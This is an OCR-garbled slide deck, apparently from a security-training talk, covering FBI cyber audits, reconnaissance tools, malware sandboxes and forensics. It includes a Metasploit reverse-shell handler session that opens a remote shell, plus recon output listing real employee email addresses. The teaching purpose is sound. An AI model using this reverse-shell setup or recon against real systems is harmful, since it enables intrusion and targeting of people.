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What keeps me busy:

* My soccer team - 4 girls + 1 boy in the oven
» Assessments / Pen Tests
* Digital Forensics — Mobile Device Focused
* Personal Digital Protection Services
* Hunting down the spyware
* Eradicating the zeros and ones

Sharing my knowledge through education - EC Council

c As I CENTER OF ADVANCED
SECURITY TRAINING
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Internet Kill Switch for Your Computer, Jay Bavisi,...
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THE FEDERAL BUREAU OF INVESTIGATION’'S
ABILITY TO ADDRESS THE NATIONAL SECURITY
CYBER INTRUSION THREAT

U.S. Department of Justice
Office of the Inspector General
Audit Division

Audit Report 11-22 THE FEDERAL BUREAU OF INVESTIGATION’S ABILITY TO
April 2011 ADDRESS THE NATIONAL SECURITY CYBER INTRUSION THREAT

EXECUTIVE SUMMARY'

Computer systems integral to the infrastructure, economy, and
defense of the United States are under constant attack by a growing array of
adversaries.

For 2008, the Department of Homeland
Security publicly reported 5,499 known intrusions of U.S. government
computer systems alone, a 40 percent increase from 2007.

Because of its statutory authority, expertise, and responsibilities for
counterterrorism, counterintelligence, and criminal law enforcement duties,
the FBI plays a critical role in combating cyber threats.




In addition, our audit found that of the 36 agents we interviewed at
the 10 field offices we visited, 64 percent of the agents assigned national
security-related cyber investigations reported having the expertise needed to
investigate these types of cases. The remaining 36 percent of these field
agents reported that they lacked the networking and counterintelligence

expertise to investigate national security intrusion cases. Moreover, five of
the field agents we interviewed told us that they did not think they were able
or qualified to investigate national security intrusions effectively. In
addition, the FBI's rotation policy, which rotates agents among different FBI

offices to promote a variety of work experience, hindered the ability
I (- i tigete national security

intrusions.” We also found that the forensic and analytical capability in the
field offices was inadequate to support national security intrusion
investigations. Some field agents believed this affected the FBI's ability to
determine those responsible for intrusions.




U.S. Government

Configuration
Baseline (USGCB)

Formerly known as the

/

continues to be one of the
most successful IT programs
in the federal government to
help increase security, reduce
costs, and accelerate the

— S
e 2o X >~ M

Solutions Center for Governiment

U.S. Government Configuration
Baseline solution

Get support for building increased security and
manageability into your agency networks.
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http://www.microsoft.com/industry/government/solutions/fdcc/
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http://usgcb.nist.gov/usgcb/microsoft/download_winz.html

NE‘I" INallongl 1Nsttutle Of standalds and echnology
Information Technology Laboratory

ES Government coniiguration Baseline

The following table provides the downloads for the Windows 7 USGCB Content. ¥HDS are also available to use for testing.

I S R N

USGCB Major Version 1.1.x.0 ) WS Oval 5.3 NIST will provide an updated list of

Settings . -2011.04.28 machine-readable CCE mappings

Plesse top-I shortly. Non-machine readable

mappings can be found in USGCB
2118
1.1.x.0 Settings. Please note that
sha256

USGCB Major Version 1.1.x.0 Known

Issuess

wn issues
and associsted
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these non-machine readable
mappings will be removed when the
machine-readable mappings are

available




8l U.S. Government Conﬁguration

Tar‘gEt SCOpe > Baseline USGCB

1) Direct Server Hacks

2) Indirect Server Hacks

3) Client Side Hacks
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Targeting the human elements

Let’s do some
real worla
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Maltego BackTrack Edition 3.

Investigate

l. Copy B ST RES H @ 00 / os Select None s Select parents foAdd parents
- 3 J I

~ Cut ; - : R Add similar siblings & Select children A Add children
3T Quick Entity elect Invert

88
All @ Delete Find Selection All Selection of Add path X Select neighbours X Add neighbours

[ |

Infrastructure
AS

Mining View Dynamic View Edge Weighted View Entity List

H.0-80.248.34.255 nslingkde /ns4.ingnt nsp.ing.n| S hmx[[ﬁ"n}‘ﬁln

DNS Name 4 / |
; j g / /

, Domain g : ~ §

.234.34.198 postmastér@ mail.ing Al ,hujbelt.kxvits@mail;h/\g nl gerard. kleywegt@mailing/nl) loes.kappe-lingenGig
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IPv4 Address T ; Vi / ' " | EZ Detail View

Location / o B
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hesstravel@ing.pl’ dennis. wésterburger@ifg.nl ebd@ing.nl gdrmond. sterk@ gnailing/nl ellen.bremer@ mai

MX Record v ¥ v Y + walatlanshipg

+ Ganarator detail

NS R d ¢ e o ‘ o #
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Netblock 'Eg.at g ing.eu ing.be ing.com/au ing.com Property View
[=) Output - Transform Output ¥
2 @ Properties

Type

x
URL Transform DomainToSOAInformation returned with 2 entities. ||
Running transform To DNS Name [Attempt zone transfer] on 1 entities. (=] " y

’ Running transform DomainToSPFInformation on 1 entities. Domain Name ing.nl
Website Running transform To Website [Quick lookup] on 1 entities. WHOIS Info  DNomain [ 188
Running transform To Email address [From whois info] on 1 entities.
Running transform To Domain [Find other TLDs] on 1 entities ina nl
Running transform To Phone numbers [From whois info] on 1 entities.

Personal

=

Document ] Transform DomainToSPFInformation returned with 4 entities. 2] |




The Harvester

: /pentest/enumeration/theharvester#-./theHarvester.py -d ing.n
L -1 500 -b bing

Rkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxk

*TheHarvester Ver. 2.0 (reborn) *
*Coded by Christian Martorella *
*Edge-Security Research *

*cmartorella@edge-security.com *
¥kkkkkkkkkkkkRkkkkkkkkkkkkkpkkkkKkkkkkk

[-] Searching in Bing:

Searching 100 results...

Searching 200 results...

Searching 300 results...

Searching 400 results...

Searching 500 results...
['webmail.ing.nl', 'mijn.ing.nl', 'www.ing.nl']




Results:

: /pentest/enumeration/theharvester# ./theHarvester.py -d eccouncil.org -1 100 -b ¢

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxk

*TheHarvester Ver. 2.0 (reborn) *
*Coded by Christian Martorella *
*Edge-Security Research *

*cmartorella@edge-security.com *
3 K K K ok oK K K K ok ok Kk ok koK Kk ok kK ok Kk ok Kk k Kk kK ok kK kK

[-] Searching in Google:
Searching 10@ results... [+] Emails found:
Seapching 200 results .«
[ 'www.eccouncil.org', 'iclass.eccouncil.org', 'portal.eccouncil.org'ceh
ouncil.org', 'Iclass.eccouncil.org', 'Academia.eccouncil.org', 'www.
ouncil.org', '.eccouncil.org', 'athena.eccouncil.org', 'Www.eccounci
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Recon-Recon < <

Synopsis:
1. Recon your target:

= Digital Recon
= Tailgate - High Tech

2. Load your weapons: DSE - Physical Drop

3. Get your shell on.
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SET initiates Metasploit payload listener and wait
for a connection © Note 443

install.sh

<

apps

5P800-115.

pdf

bt-update.

nmap scan
result

root@bt: /pentest/exploits/SET - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

617 exploits - 306 auxiliary
215 payloads - 27 encoders - 8 nops
svn rlO860 updated today (2010.11.02)

— ———

resource (src/program_junk/meta config)> use exploit/multi/handler
resource (src/program_junk/meta config)> set PAYLOAD windows/shell reverse tcp
PAYLOAD => windows/shell reverse tcp
resource (src/program_ junk/meta config)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (src/program_junk/meta config)> set LPORT 443
LPORT == 443
resource (src/program junk/meta config)> set ExitOnSession false
ExitOnSession => Tfalse
resource (src/program_junk/meta config)> exploit -j
:J’LF_LUJ-.L IUIIIIJ-.IIH 2 ;.JU\..‘F\HIUUII'U‘ _]U;J'n
mst exploit(handler) =
Started reverse handler on 0.0.0.0:443
Starting the payload handler...
Command shell session 1 opened (192.168.1.8:443 -> 192.168.1.10:1026) at Tue
Nov 02 00:13:45 -0600 2010

& Shell No. 2 | @ Shell
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Shell No.

2 - Konsole

x e
root@nt:

/pentest/exploits/SET -

Settings Help

msf exploit(handler) >
Started reverse handler on 0.0.0.0:443
Starting the payload handler...
Command shell session 1 opened (192.168.1.8:443 -> 192.168.1.10:1026) at Tue
Nov 02 00:13:45 -0600 2010
sessions -i 1
Starting interaction with 1...

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Corporate Network:

Connection-specific DNS Suffix . : home

IP Addressz® &l S § 0ok oS B Nerd020d GEESES
Subnet Mask . . . . . . . L . . . : 255.255025000
Default Gateway . . . . . . . . . : 192.168.1.1

C:\Documents and Settings\Administrator\Desktop>J]
& Shell No. 2 | @ Shell
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SET AtHs Teen'53USB 'DeVel-opmeht Boart’

If you want to create a custom application, Raw HID is simple way to send 64 byte
packets between your code on the Teensy and your application on the PC or Mac. HID
works automatically with built-in drivers in Linux, Mac OS X and Windows, so users will
not need to load any drivers. Your application can detect your Teensy running your
customized Raw HID, so to the user everything "just works" automatically.

You can send up to 1000 packets per second in each direction. The USB host
controller will reserve USB bandwidth. You are not required send all packets, but if
you do, you are guaranteed to be able to transmit the number of packets per second
your code specifies, even when other USB devices are active.

http://www.pjrc.com/teensy/rawhid.html
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http://www.gumstix.com/

Malware Analysis Tools

GFI Sandbox™ (formerly CWSandbox)

Comprehensive Malware Analysis Tool

Powerful Automated Malware
Analysis and Virus Sandbox.
Your Weapon: GFI Sandbox

Need to defend against a fire-hose of malware
pouring in? Are the bad guys trying to spearphish
™ your organization? GFl's Sandbox provides fast and
G F I Sa nd bOX fully automated analysis of any malware: virus,
spyware, trojan, or other threat samples. Sandbox
enables the automatic collection of malware from

different inputs including Nepenthes, a web
server/interface, or a directory.

Automated Malware Analysis Tool

Rapidly analyze behavior of malware - including
infected trojans, Office documents, PDFs, browser
helper objects (BHOs), malicious URLs and more -
by executing the code inside a controlled
environment, the GFl malware sandbox!

Version: 3.2
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http://www.sunbeltsoftware.com/

W Malware Analysis System

CWSandbox :: Submission

Submit file for analy
E-Mail address:

File to upload:

e | Mo file ¢
Comment: (not required)

ol wish that your file is analy
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http://mwanalysis.org/?site=1&page=submit

Malware Analysis: ValidEdge Malware Intelligence
System 1200

The Fast and Accurate Appliance for Malware Threat Response Teams

e CCT A DOIMTADR!I C ODNOEC DDA
= GET A PRINTAELE PDF ERO

Curting-EpGE SoLuTtIiOon

l sing the ValidEdge Malware Intelligence System, you can

be confident your malware analysis is error-free and comprehensive.

ValidEdge offers the world's first always-on appliances, purpose-built for
the most accurate analysis of new malware in a real Microsoft® Windows®
environment along with a complete simulation of all network servers to capture
all internet activity.

The ValidEdge Malware Intelligence System incorporates several innovative analysis engines for
classification, decryption, unpacking, reverse engineering, and combined dynamic and static
analysis to fully reveal the current and potential intention of new malware.
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http://www.validedge.com/malware-analysis-system.php
http://www.validedge.com/malware-analysis-system.php
http://www.validedge.com/malware-analysis-system.php
http://www.validedge.com/malware-analysis-system.php
http://www.validedge.com/malware-analysis-system.php

Running the virtual machine with QEMU

Zero Wine: A Malware Analysis Tool

Select the malware file to upload and the options to test it:

Malware
Timeout

( Restaurar )

Copyr

linglin ar...ccionado

Malware analysis

Analyzing file: document.exe.

MD5 Sum: bc3deddéclb968d295a484229d504al5
_xaqarning: Folder already exists! File was previously analyzed?

File saved as: bec3dedd6clb968d295a4842294504al5/document.exe

% Report  Strings[El File headers ™ Signature

Analysis finished at Fri Dec 19 13:25:29 2008
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http://zerowine.sourceforge.net/

Malware analysis

Analyzing file: document.exe.

MD5 Sum: bc3dedd6clb968d295a484229d504al5

_ffEWarning: Folder already exists! File was previously analyzed?

File saved as: bec3dedd6clb968d295a484229d504al5/document.exe

Report Strings =l File headers ™ signature

0009:Call KERMEL32.CreateMutexA(00000000,00000000,004141F0 "H-E-L-L-B-0-T") ret=00408cac

0009:Call KERMEL32.CopyFileA{DD32f150 "C:\\bc3deddbclbS6Bd295a484229d504al5 \document.exe",003 2f250
“Chywindowsh\system3 2\ vV msmgrxp.exe”,00000000) ret=00408dc5

trace:file:CopyFileW L*C\\bc3deddbc1b968d295a484 2294504215\ \document.exe” -
L"Chvwindowshsystem32V \msmgrxp.exe”

trace:file:CreateFileW L°C:\\bc3deddbc1b968d295a484229d504a15% \ document.exe” GENERIC_READ FILE_SHARE_READ
FILE_SHARE_WRITE creation 3 attributes 0x0

trace:file:CreateFileW L'C:\\windows\\system32\\msmgrxp.exe” GENERIC_WRITE FILE_SHARE_READ FILE_SHARE_WRITE creation 2
attributes Ox20

0009:Call KERMEL3Z .CreateProcessA(00000000,0032f250

"Coh\windows ' \system3 2 \msmgrxp.exe”,00000000,00000000,00000001,0000002 8,00000000,00000000,0032f0cc,003 2f0bc)
ret=00408e77

0018:Call KERNEL3 2. Create MutexA(D0000000,00000000,004141F0 "H-E-L-L-B-0-T") ret=00408cac

0018:Call KERMEL3 2. CopyFileA(D033f150 “C\\windows\ \system3 2\ \msmgrxp.exe”, 00414 1d8 “C:\\funny_pic.scr’,00000000)
ret=00408e9a

trace:file:CopyFileW L"C:\\windows\ \system3 2\ \msmgrxp.exe” -> L"CA\funny_pic.scr”

trace:file:CreateFileW L'C:\\windows\\system32\\msmgrxp.exe” CEMERIC_READ FILE_SHARE_READ FILE_SHARE_WRITE creation 3
attributes Ox0

trace:file:CreateFileWw L"C:\\funny_pic.scr® GENERIC_WRITE FILE_SHARE_READ FILE_SHARE_WRITE creation 2 attributes 0x20
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Malware analysis

Analyzing file: document.exe.

MD5 Sum: bc3dedd6clb968d295a484229d504al5

_ffEWarning: Folder already exists! File was previously analyzed?

File saved as: bec3dedd6clb968d295a484229d504al5/document.exe

Report Strings =l File headers ™ signature

0009:Call KERMEL32.CreateMutexA(00000000,00000000,004141F0 "H-E-L-L-B-0-T") ret=00408cac

0009:Call KERMEL32.CopyFileA{DD32f150 "C:\\bc3deddbclbS6Bd295a484229d504al5 \document.exe",003 2f250
“Chywindowsh\system3 2\ vV msmgrxp.exe”,00000000) ret=00408dc5

trace:file:CopyFileW L*C\\bc3deddbc1b968d295a484 2294504215\ \document.exe” -
L"Chvwindowshsystem32V \msmgrxp.exe”

trace:file:CreateFileW L°C:\\bc3deddbc1b968d295a484229d504a15% \ document.exe” GENERIC_READ FILE_SHARE_READ
FILE_SHARE_WRITE creation 3 attributes 0x0

trace:file:CreateFileW L'C:\\windows\\system32\\msmgrxp.exe” GENERIC_WRITE FILE_SHARE_READ FILE_SHARE_WRITE creation 2
attributes Ox20

0009:Call KERMEL3Z .CreateProcessA(00000000,0032f250

"Coh\windows ' \system3 2 \msmgrxp.exe”,00000000,00000000,00000001,0000002 8,00000000,00000000,0032f0cc,003 2f0bc)
ret=00408e77

0018:Call KERNEL3 2. Create MutexA(D0000000,00000000,004141F0 "H-E-L-L-B-0-T") ret=00408cac

0018:Call KERMEL3 2. CopyFileA(D033f150 “C\\windows\ \system3 2\ \msmgrxp.exe”, 00414 1d8 “C:\\funny_pic.scr’,00000000)
ret=00408e9a

trace:file:CopyFileW L"C:\\windows\ \system3 2\ \msmgrxp.exe” -> L"CA\funny_pic.scr”

trace:file:CreateFileW L'C:\\windows\\system32\\msmgrxp.exe” CEMERIC_READ FILE_SHARE_READ FILE_SHARE_WRITE creation 3
attributes Ox0

trace:file:CreateFileWw L"C:\\funny_pic.scr® GENERIC_WRITE FILE_SHARE_READ FILE_SHARE_WRITE creation 2 attributes 0x20
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* Hex Editors

» Disassembler - IDA Pro
* Debugger - 0Ollydbg
 Search Engine

< DllyDbg - 17s1.bin - [CPU - main thread, module 1751]

File Wiew Debug Plugins Window Help

00411DF0
00411DF1l
00411DF6
00411DFC
00411DFD
00411DFF
00411E00
00411E02
0041103
00411E05
0041106
00411E05
00411E0A

FUSHAD

MOV ESI, 17sl.00
LEA EDI,DWORD P
PUSH EDI

JMP SHORT 17sl.
NOP
MOV
INC
MOV
INC
ADD
INZ
MOV

BE 00C04000
SDBE OO50FFFF

{ 00000000
0012FFBO
7C90EB94
7FFD4000
0012FFc4
O012FFFO
FFFFFFFF
7C910738 ntdll.

EBX , EBX EIP 00411DF0 17sl.<

SHORT 17s1. |c 0 Es 0023 32bit
EBX,DWORD P-lp 1 cCs 001E 32bit

EBX
ESP
EBP
ESI
EDI

AL,BYTE PTR
ESI
BYTE PTR
EDI

DS
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00412000
00412020
00412040

004120c0
004120E0
00412100
00412120
00412140

ygram entry point

All rights reserved

.{ O..
-€|Po€|qQ
. . .KERNEL32.DLL. .Loa

wi€ |

S 0012FFc4
0012FFCS8
0012FFcC
0012FFDO
0012FFD4
0012FFD38
0012FFDC
0012FFEO
0012FFE4
0012FFE38
0012FFEC

~| 0012FFFO

7C816FD7
7C910738
FFFFFFFF
7FFD4000
80543FFD
0012FFC8
218cs600
FFFFFFFF
7C839AA8
7C816FEOD
00000000
00000000

RETURN to

ntd11.7c910]

End of SEH
SE handler

kernel32.7cC




DIGITAL FORENSIC
ANALYSIS METHODOLOGY
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PREPARATION | EXTRACTION
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Computer Crime & Intellectual Property Section
United States Department of Justice

Home Computer Crime Intellectual Prope Electronic Bvidence Other High Tech Legal Iss

Computer Crime & Intellectual Property Section

Latest Press Releases
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